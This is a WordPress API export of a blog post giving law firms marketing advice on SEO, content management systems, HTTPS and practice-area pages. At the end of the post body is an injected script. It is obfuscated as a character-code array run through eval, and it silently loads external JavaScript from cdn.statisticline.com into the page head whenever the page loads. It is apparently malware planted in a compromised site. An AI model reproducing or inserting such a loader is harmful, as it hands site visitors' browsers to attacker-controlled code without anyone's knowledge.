{"id":6092,"date":"2023-06-09T10:56:30","date_gmt":"2023-06-09T10:56:30","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/avoid-these-law-firm-marketing-mistakes\/"},"modified":"2023-06-09T10:56:30","modified_gmt":"2023-06-09T10:56:30","slug":"avoid-these-law-firm-marketing-mistakes","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/","title":{"rendered":"Avoid These Law Firm Marketing Mistakes"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/#SEO_Expert\" title=\"SEO Expert\">SEO Expert<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/#Proprietary_Content_Management\" title=\"Proprietary Content Management\">Proprietary Content Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/#Improper_HTTPS_Integration\" title=\"Improper HTTPS Integration\">Improper HTTPS Integration<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/#Lacking_a_Page_for_Each_Practice_Area\" title=\"Lacking a Page for Each Practice Area\">Lacking a Page for Each Practice Area<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/avoid-these-law-firm-marketing-mistakes\/#The_Takeaway\" title=\"The Takeaway\">The Takeaway<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-full wp-image-2360&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/05\/Avoid-These-Law-Firm-Marketing-Mistakes.jpg&quot; alt=&quot;Avoid These Law Firm Marketing Mistakes&quot; width=&quot;1200&quot; height=&quot;801&quot; \/><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Abraham Lincoln said: <\/span><\/p>\n<blockquote><p><span style=&quot;font-weight: 400;&quot;>\u201cHe who represents himself has a fool for a client.\u201d<\/span><\/p><\/blockquote>\n<p><span style=&quot;font-weight: 400;&quot;>Abe was right. If he had not gone to the theater, he eventually might have said the same thing about lawyers who handle their own marketing.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Lawyers are legal advisers. They know tort, statutes, rules, regulations and proper courtroom procedure. They can bang the table at the right moment and hold a jury in the palm of their hand.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Where lawyers often fail is marketing.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Law firm marketing<\/span><span style=&quot;font-weight: 400;&quot;> is not that much different than marketing other e-commerce sites, but there are some landmines to avoid.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"SEO_Expert\"><\/span><b>SEO Expert<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>This may be the deadliest mistake law firms make when they hire a company to redesign their website. Not many law firms think about design and SEO, and they assume the development company already knows what they\u2019re doing \u2014 often the law firm isn\u2019t concerned with SEO.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Ignorance of the law is not excused when facing trial. Ignorance of SEO is expensive for a law firm. While the design firm is on the hook for maintaining the site\u2019s SEO friendliness, the law firm will foot the bill for the \u2018expert\u2019. Lack of SEO knowledge can create unnecessary expenses for both sides.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Proprietary_Content_Management\"><\/span><b>Proprietary Content Management<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Law firms often fail to use proprietary <\/span><span style=&quot;font-weight: 400;&quot;>content management systems<\/span><span style=&quot;font-weight: 400;&quot;> (CMS). Many attorneys regret using an agency\u2019s CMS \u2014 it feels counterintuitive to pay for a customized platform when free and robust platforms like WordPress exist. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>WordPress comes with a boatload of plugins, and the level of flexibility is unsurpassed. Still, the user-friendly aspect of WordPress notwithstanding, it doesn\u2019t adequately address SEO by itself.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The same goes for CMS. A firm\u2019s partners eventually understand that custom CMS has limits, and new features appear along with a healthy development cost. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Using a CMS built on a different company platform leaves the firm stuck. Switching developers means that another site must be created, whereas popular platforms can be updated without needing to be linked to any specific agency.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Improper_HTTPS_Integration\"><\/span><b>Improper HTTPS Integration<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>When Google began pushing webmasters to use https, many law firms went along. The change from non-secure to secure is suggested by the firm\u2019s developer.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;> The bad news? Three out of five sites have https implemented wrong.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>That\u2019s not meant to say don\u2019t implement https. Use the protocol but be aware of the not-uncommon issues which occur on set-up.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Lacking_a_Page_for_Each_Practice_Area\"><\/span><b>Lacking a Page for Each Practice Area<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Too often law firms list practice areas and then fail to have web pages for those practice areas. A common failing lumps practice areas on one page. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>This practice makes it difficult to rank individual pages, hard to follow content and can turn the potential client off even before they\u2019ve spoken to a firm\u2019s partner.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>It\u2019s vital for site visitors to land on a page which speaks to the practice area in which they are interested. Too many sites have a blog where they write about the legal field in which they practice. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>It makes more sense to address how they may help the reader; people are seeking an attorney to help with their situation NOW. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Understand their pain points and discuss them as it concerns one specific practice area per page.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Takeaway\"><\/span><b>The Takeaway<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>These law firm marketing mistakes are common but can be fixed.<\/span><\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Abraham Lincoln said: \u201cHe who represents himself has a fool for a client.\u201d Abe was right. If he had not gone to the theater, he eventually might have said the same thing about lawyers who handle their own marketing. Lawyers are legal advisers. They know tort, statutes, rules, regulations and proper courtroom procedure. They can [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6092","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6092"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6092"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6092\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6092"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6092"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6092"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}